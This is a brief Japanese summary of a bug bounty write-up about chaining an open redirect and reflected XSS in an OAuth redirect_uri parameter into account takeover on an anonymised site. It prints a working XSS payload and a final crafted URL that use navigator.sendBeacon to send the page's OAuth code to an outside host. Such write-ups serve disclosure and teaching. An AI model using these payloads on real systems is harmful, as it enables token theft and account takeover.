Hello there, ('ω')ノ
決してあきらめない、トリアージへの複製の背後にある物語を。
脆弱性:
XSS
OAuthの欠陥
アカウントの乗っ取り
記事:
https://medium.com/@soyelmago/never-give-up-the-story-behind-a-dupe-to-a-triaged-43b72debb6c9
アプリケーションは、Oauthメカニズムを使用して認証して。
エンドポイントは次のようになって。
https://victim.com/auth?client_id=&nonce=[REDACTED]&redirect_uri=https://www.victim.com/dashboard&request=[TOKEN_REDACTED]&response_type=code&scope=openid+accounts&state=[REDACTED]
それを見た後、redirect_uriパラメータを別のサーバを指すように変更して。
アプリケーションがどのようにサーバにリダイレクトするかを確認すると。
victim.comのOpenRedirectの脆弱性が見つかって。
次にアカウント乗っ取りの脆弱性を手に入れることに。
PoCでは、redirect_uriパラメータが悪意のあるサーバを指すようにして。
これは、Oauthコードもリクエスト内で送信されるためで。
アカウントの乗っ取りを取得する方法をしばらく考えて。
XSSの脆弱性を悪用できる場合は、XSSアラートポップアップで。
そのエンドポイント(/dashboard)で。
Oauthトークンを盗むことができるかもしれないとおもって。
次のPoCを作成してみることに。
https://victim.com/auth?client_id=&nonce=[REDACTED]&redirect_uri=https://www.victim.com/dashboard%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&request=[TOKEN_REDACTED]&response_type=code&scope=openid+accounts&state=[REDACTED]
%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e
⇧
"><script>alert(document.domain)</script>
最終ペイロード:
navigator.sendBeacon(‘https://ssrftest.com/x/AAAAA',document.documentElement.innerHTML.split('code'));
最終URL:
https://victim.com/auth?client_id=&nonce=[REDACTED]&redirect_uri=aaa”><script>navigator.sendBeacon(‘https://ssrftest.com/x/AAAAA',document.documentElement.innerHTML.split('code'));&request=[TOKEN_REDACTED]&response_type=code&scope=openid+accounts&state=[REDACTED]
ssrftest.comは、SSRFの脆弱性などをテストできるサイトで。
その結果、管理するサーバに認証トークンが送信されて。
ssrftest.com
Best regards, (^^ゞ